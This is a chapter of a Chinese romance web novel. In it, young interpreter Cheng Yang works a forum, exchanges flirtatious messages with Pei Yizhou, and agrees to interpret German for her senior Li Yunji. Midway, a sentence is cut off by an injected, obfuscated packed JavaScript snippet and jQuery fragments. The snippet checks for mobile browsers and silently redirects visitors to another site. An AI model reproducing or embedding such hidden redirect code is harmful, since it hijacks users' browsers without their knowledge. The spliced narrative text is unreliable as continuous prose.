下午两点，飞机抵达论坛举办地C市。


    “程小姐，程译员。”一旁的助理喊了好几声，程漾才反应过来自己走了老半天的神。


    这次雷奥提前派了助理来接她，因此从出家门到登机，一切都十分顺利。


    前后座的人已经提着行李起来，她也赶紧起身：“抱歉，刚才在想事情。”


    好在助理是个善解人意的，笑了笑：“没事，该下飞机了，走吧。”


    程漾点点头，跟着人流往外走。


    而雷奥就在机场外面等他们一同前去。


    见到她的第一面，雷奥亲切地询问：“你还好吗？”


    程漾以为是自己脸色太差，摸了摸脸颊反问：“是我看起来状态不行么？”


    “不，非常好，像是刚经历了非常喜悦的事情。”


    程漾笑了下，眼里闪烁着光亮。


    早在来之前，她就已经了解雷奥的身份地位，但没想到他们刚到会场门口，就有人过来搭话。


    他们身边的译员基本上都比程漾年纪要大许多，这并不意外。


    出席这种级别的会议，为了确保万无一失，大多会选择经验丰富的或者是熟识的。


    甚至程漾还在其中看到了以前在学校里仰慕的大佬前辈。


    她也曾设想过自己有一天可以以相同的身份，和他们站在一起。


    但在梦想转化成现实的那一刻，还是觉得有些不真切。


    其中有一位似乎也记得她，颇有兴趣地说：“我好像在哪里见过你，你是A市外国语大学毕业的吗？”


    程漾紧张又兴奋地回答：“嗯。”


    然后这位给她比了个大拇指：“果然是学妹，后生可畏。”


    她许久才找回自己的声音，说了谢谢。


    相比于经验和见识，程漾自知比他们少，但为了这次论坛，她也做足了准备。


    因此也只是短暂地游离了一下，她很快就进入了状态，在中、英、法语中自由切换。


    口译考验的不仅仅是语言的听说的能力，更重要的是捕捉信息，以及如何以精准的表述进行转达，使得双方沟通能够畅通无阻。


    正因为如此，这实际上是件对专业能力要求极高且十分消耗精力的事情。


    来和雷奥搭话的是几位教授，时不时会用到一些专有名词，有的程漾没法直译，就采取短句简单多解释几遍。


    半小时下来，除了程漾时刻紧绷着神经，几个人都聊得十分愉快。


    后续进了会场，论坛持续大约三小时，期间雷奥上台发言或者与周围人探讨，程漾都寸步不离跟着。


    她大概统计了下，自己比以前一周加起来说的话还要多。


    结束之后，一位和雷奥交好的法国编剧惊讶地和雷奥说：“Oh,monDieu,vousavezvraimentuneboraductrice.Sonfrancaisestexcellent.（噢，天啊，你真是找了位好翻译，她的法语听起来很棒）”


    雷奥回应：“Jesuistoutàfaitd''accord.（我十分赞同）”


    享受夸赞是一方面，但各种语言在脑子里飞速变化的时刻，程漾确切地明白


    ——这就是她想要的，并且一直追求的。


    晚上没有直飞A市的航班，程漾只得选择在这边住上一晚。


    和雷奥告别后，她打了车去酒店。


    白天高强度的工作，她没空去思考别的。


    等到看着车窗外熙熙攘攘的人群时，程漾才有重新回归人间的实感。


    从和沈黎兰见面到现在，她似乎就一直处于一种半梦半醒的状况下。


    这是她没想过的，不过好像又是她期待的，甚至比她期待的结果还要好很多。


    她好像一点点地在被幸福填满。


    程漾克制不住地想和人分享。


    。：【我去做口译了^^】


    消息显示发送成功，她猛地抬眸瞥了眼对面的头像。


    她发给裴亦舟了？！


    程漾的置顶只有三个，一个是家庭群，一个是游佳，还有他们的四人群。


    而第三位的就是裴亦舟。


    她立即撤回消息，换了另外一句。


    。：【你在忙吗？】


    多少有点欲盖弥彰了。


    程漾心虚地抓了抓头发，但又隐约希望被看见。


    几秒内，裴亦舟就给了回复。


    Orbit：【没】


    Orbit：【撤回做什么？】


    程漾捏着手机，抿了下唇回复。


    。：【不是】


    。：【好像就是很小的事】


    没什么必要找个人特意说一遍。


    刚才也就是脑子一热，就发了出去。


    程漾劝说自己冷静些。


    直到看到了裴亦舟发过来的消息。


    Orbit：【所以不想和我说？】


    文字转化成语音似的。


    掌心贴着发烫的脸颊，程漾一字一句地敲过去。


    。：【没】


    Orbit：【行，那我等着】


    她刚开始还能平常地叙述，但裴亦舟总能挑起她想说的欲望，于是就忍不住地越说越多。


    等到一回过神来，摆在程漾面前的已经是密密麻麻的聊天记录了。


    差不多了。


    真的差不多啦。


    程漾提醒了自己两遍，转而换了个话题。


    。：【还有我今天见到导师了】


    Orbit：【嗯，怎么说？】


    。：【她和你之前说的一样，比起那些事，更希望我过得高兴点】


    等了下，裴亦舟发了一条语音过来。


    程漾把手机贴近耳边，点开来听。


    噪杂的人声中他的声线格外突出，话里带着点笑意：“那你现在高兴么？”


    程漾看着车窗外的风景。


    今天是晴天，阳光很温和。


    是她喜欢的天气。


    她摸着整齐放在膝盖上的参会牌回答。


    。：【高兴啊】


    。：【就是因为高兴，所以才想和你分享】


    坐在办公室里的沙发上，裴亦舟手上玩着靠枕，晃着一双长腿等待回复。


    手机一震，他点开查看。


    把消息来来回回看了两遍，嘴角不自觉地勾了下。


    就这么喜欢和他聊天？


    他把被蹂躏地不成样子的靠枕放下，起身走到落地窗边，想着回一句语音还是发字过去。


    还没抉择下来，背后的门哗啦一下开了，周知让推门而入：“舟舟，这个运营——你怎么站哪去了？”


    话转了一百八十个弯，裴亦舟立即挡了下手机，重新回到办公桌边，淡淡地问：“随便走一下，什么事？”


    周知让没办法多线程思考，被这么一问立即带了过去。等到正事谈完，从办公室出来才觉出点不对劲。


    不是，他刚才是在和谁说话呢？


    但已经晚了，裴亦舟为了防他转头就把门锁上了，边往里边敲下几个字。


    半分钟后，程漾收到消息。


    简短的一行字闯入视线。


    Orbit：【那下次当面和我说】


    -


    回到酒店，程漾先洗澡换了身舒服的睡衣。


    出来后边擦头发边给裴亦舟回了消息，告诉他自己已经到了。


    等待回复的空当，她刷了下朋友圈，从各大旅游的视频分享掠过，看到有趣的一条。


    【高薪聘请翻译，可日常用德语交流即可，求助[拜托][拜托]】


    再抬眸一看发的人，是李云霁。


    有几条评论，程漾看完了，大概明白是李云霁交了个德国笔友，也是个小说作者，来国内旅游，因此想顺便约着他见一面。


    底下周知让给了他建议：【哥，实在找不到人，你可以下个翻译软件，到时候让外国友人对着手机说话就行，你再对着手机回复，我以前都这么干】


    李云霁简单礼貌地回复了他一句：【谢谢，真是好建议[微笑]】


    除了周知让，还有一些程漾对不上脸的人，插科打诨地出些歪主意，但就是没人主动上去。


    德语不是程漾的强项，但只是日常交流的话，她也可以。


    大学时过于努力，程漾把国际上通用的几种学了以外，又简单地接触了下自己感兴趣的德语和韩语。


    论坛后遗症还没消除，程漾想了下，在下面留了言。


    【学长要是不介意的话，我可以试试^^】


    或许是真的着急，李云霁很快私聊了她。


    学长；【学妹是认真的吗？】


    。：【嗯，不过我德语也就是刚好够日常交流的水平，不算很专业】


    学长：【没事，这就够了[感激][感激]】


    学长：【[微信转账50000]】


    学长：【薪资另算，这个就当是你帮我朋友圈解围的小红包】


    程漾被他口中的“小红包”震惊了，不好意思收下。


    她本来也就是想着顺手帮个忙，何况对她来说，还是一个检验德语口语水平的机会。


    但李云霁不这么认为，还拿出一诺千金、雪中送炭等等典故来和她讲道理。


    大约讲了半小时吧，程漾承认自己最后有点受不了了，等李云霁一歇下来，她就立马道谢，点了接受。


    约定时间地点后，程漾退出和他的聊天界面。


    顿时有点难以想象谈姝平常是怎么和李云霁聊天的。


    不过可能和喜欢的人聊天，说话的方式可能就会不一样了？


    程漾莫名地想到了她和裴亦舟讲话时的模样。


    好像总是会不自觉地加一些语气词，听着像是——她干吗带入自己呀？！


    程漾迅速摇了摇头，转而去处理今天的未读消息。


    最先看见的就是游佳头像上冒出的“15”小红点，最后一条是今天早上八点左右。


    大概是她在早餐店的时间。


    她粗略看了几条。


    w佳：【你看群消息了么？】


    w佳：【这世界上也存在没有血缘关系但是长得很像的人对吧？】


    w佳：【请告诉我这不是真的，谢谢】


    一通话看完，程漾也没明白她前言后语的关联。


    没着急回复，她先去看了周知让在群里分享的帅哥。


    群消息就停留在最后那张照片上，此后再无人发言。


    是长得不符合预期么？


    从小图看过去，程漾隐约觉得有些熟悉，等到点开放大了，她才明白游佳怎么突然开始怀疑人生了。


    和周知让合照的帅哥，只有两种可能：一是时序本人，二是时序的双胞胎兄弟。


    已知对方是独生子，所以答案显而易见。


    据说有缘分的人在什么鬼地方都有可能碰见。


    程漾不知道该怎么安慰。


    上次她和时序见面的事还没敢告诉游佳，但不防这次这人直接扔了更大的招过来。


    程漾绞尽脑汁想了两句话。


    。：【嗯，这个事……怎么说呢……】


    。：【不过，这个人可能、或许、大概率就是时序？】


    不敢回复的除了程漾，还有坐在办公室里的周知让。


    他看了八百遍群消息，发现群里和死了一样安静。


    “舟舟她们怎么都不理我了？亏我还好心好意和她们分享帅哥。”


    “嗯。”回复完程漾的消息，裴亦舟继续办公，头也没抬一下。


    周知让懂了：“你是不是压根没看我在群里发的！”


    裴亦舟一脸坦荡：“昂，没看。”


    周知让怒了：“你这就有点重色轻友了，程漾发个表情包过来你都要回，我都说了一下午了，你也没搭腔。”


    耳边像是放了几百个音响，裴亦舟终于忍不了了，起身扔了瓶可乐过去，暂时堵住他的嘴。


    “能安静一会儿么？去吃饭。”


    吃饭勉强可以安抚一下心情，周知让安静了，和他一起出了办公室。


    公司食堂设在一楼，旁边就是咖啡厅，上班的社畜习惯吃了饭后，再买一杯咖啡提神。


    正是饭点，从这边过去，碰上的全是熟人，周知让打了一路的招呼。


    有人搭理了，周知让心里好受了些，想起刚才的事来，好奇问了句：“对了，你和程漾现在算是怎么回事？”


    说完了有点担忧，又压低了声音道：“就她和云霁哥不是那什么吗？”


    相互喜欢几个字周知让怕伤了他兄弟的心，说不出口，只能如此委婉地问。


    不过他这样遮遮掩掩地说，倒是让裴亦舟更


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12823282|122770||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    加有了揍人的冲动。


    “她还没答应。”


    周知让惊了：“所以呢？你该不会想——”


    横刀夺那啥爱？


    这不太光彩吧？！


    他说一半吞一半，裴亦舟也听不懂，几个字应付过去。


    周知让的三观被震碎了，但走着走着又慢慢理解了，劝说自己要做好准备，以后就算程漾谈了男朋友，说不定随便讲两句又把裴亦舟的魂勾走了，心甘情愿地当备胎，等着她分手。


    或者，更严重一点、不那么委婉地说，他兄弟会为爱做三。


    裴亦舟不知道自己在他脑子里的形象已经崩成了东非大裂谷。


    但被周知让这么问，他也清楚了些——自己心里其实没底。


    程漾最开始喜欢的人是他哥，这是没办法改变的事。


    不过，以后的事谁又说得准？


    两人各自想着事情到了食堂门口。


    周知让冷静下来后，随便扫了一眼，好巧不巧就瞧见了那冰冷的脸和标志性的扎成小揪的狼尾发型。


    他立即喊出了声：“我靠舟舟，我说的那哥们也来这儿吃饭。”


    裴亦舟顺着他的视线看过去。


    没多久，就对上那双之前在商场里看过的眼睛。


    裴亦舟其实不认识时序，只是上次去看程漾发在朋友圈的话，意外碰到游佳发出来的一条。


    配的图就是游佳和时序拥抱的照片。


    但仅在几秒后就删除了。


    他虽然没谈过，但不代表不懂，于是顺理成章推测出他们俩的关系。


    “就戴黑口罩的那个。”周知让还毫不知情地指认。


    直到被裴亦舟拍了下肩，他疑惑：“怎么了？”


    裴亦舟问他：“你知道人突然不说话了其实都是有原因的么？”


    周知让摸不着头脑：“什么意思？”


    “没什么。”裴亦舟从自动贩卖机前拿了杯酸奶，迈步走了出去。


    “你不在食堂吃饭啊？”


    大少爷惜字如金：“不。”


    不您把我拐食堂来？？？


    周知让敢怒不敢言。


    出了公司，裴亦舟开车去了附近的商场。


    二至五楼的购物层他基本上没去过，只习惯来入门口的菜市场和零食区。


    食堂人太多，他不喜欢和人挤在一起，点外卖的大多数时候不合胃口。因此要是像今天这样工作比较轻松，他会选择自己回家做饭。


    挑了些晚餐食材，他转去零食区。


    相比市场那边，这里更多聚集的是年轻人，像是附近学校的大学生或者上班族。


    裴亦舟戴着鸭舌帽挑完，拎着袋子去结账，再买了点充冰箱的蛋糕饮料，不到二十分钟结束。


    他到家时已经接近七点，手刚碰到门把手，腿上突然被什么东西缠了一下。


    “汪汪！”


    相处久了，发现狗的声音也是有差别的，比如就这么两声，裴亦舟不用看都知道是哪只胖狗。


    但为了照顾他脆弱的小心灵，裴亦舟还是低头摸了一把狗头，漫不经心地问：“跑这么快干吗？你大哥呢？”


    千岁转头看向后面，背上还驮着昭昭。


    裴亦舟把猫抱下来后，李云霁这才累死累活从楼梯口出来。


    “我说呢，他怎么突然冲上来，原来是看到你回来了。”


    李云霁本来是计划着让千岁想爬个楼梯锻炼一下身体，没想到这家伙在一楼不知道看见了谁，一溜烟地就窜了过去。


    看了眼他的狗儿子，还在笑哈哈吐舌头，李云霁心说真是完全不长记性，也不知道上次是谁半夜被扔出来了。


    “你买菜了？”他走过去问，转而又看到他弟放在地下的一大箱零食。


    “昂。”裴亦舟没抬眼应了一声，忙着打字回消息。


    黑红拼色的插肩袖搭着灰色的休闲裤，他靠在门边上，一条长腿微曲，手机折射出来的微弱白光照着鸭舌帽下的那张脸，清冷又带着点张扬的劲。


    李云霁以为他在办公，于是自己主动走过去：“怎么买这么多吃的？也帮我买了？”


    正打算打开箱子看看，一只骨节分明的手忽地摁了下来，挡住了他的动作。


    “没。”裴亦舟把箱子推进了客厅，“这个不是给你的。”


    这箱是买给程漾的。


    裴亦舟记得她挺喜欢吃这个牌子的饼干。


    德国出产，一包差不多半个掌心大，里面装着薄薄的两片，价格和重量不成正比，一包八块，一箱三百二。


    上次他放了点在车上，程漾有一搭没一搭的都吃完了。


    今天正好逛零食看见了，于是三种口味各买了一箱装在一起。


    李云霁不知道实情，只问：“你自己吃得完这么多？”


    裴亦舟没回答这句，指了下李云霁的家：“哥，你的放你门上了。”


    要是好好说李云霁肯定不看了，但被他这么拒绝，自然是不乐意了：“哦，所以你的我就不能看看了？你别忘了，你小时候的奶粉都是我帮着挑的。”


    裴亦舟：“……”


    挑个锤子。


    他和李云霁见面的时候就已经七岁了。


    裴亦舟没话说了，一只手抱起昭昭，一只手拎着零食推门而入。


    刚踏上门槛，李云霁笑完了，想起来和他说：“对了，上次不是说让你帮忙找个翻译吗？找不到的话就不用了。”


    裴亦舟没什么兴趣，但怕李云霁唠叨，还是顺着他的意思又问了句：“昂，知道了，你找到了？”


    李云霁兴致勃勃：“那当然了，你哥我人脉还是很广的，人家自己主动提出帮忙的。还是熟人，你不想知道是谁？”


    “噢。”


    李云霁开口准备说。


    裴亦舟：“不想。”


    李云霁：“……”


    逛了一圈，裴亦舟觉得有点热，眼下只想冲个冷水澡。


    他的陪聊时限到此结束，转身就准备进屋关门。


    “你也认识的，你肯定能猜到。”背后李云霁突然来这么一句。


    几乎是鬼使神差的，裴亦舟站住了脚，眼皮一跳，莫名有种不好的预感。


    他扭头，自己都没意识到地把声音放低了些：“谁？”


    李云霁笑了笑，道：“你说呢，除了小学妹，我们都认识的还有学这一块的？”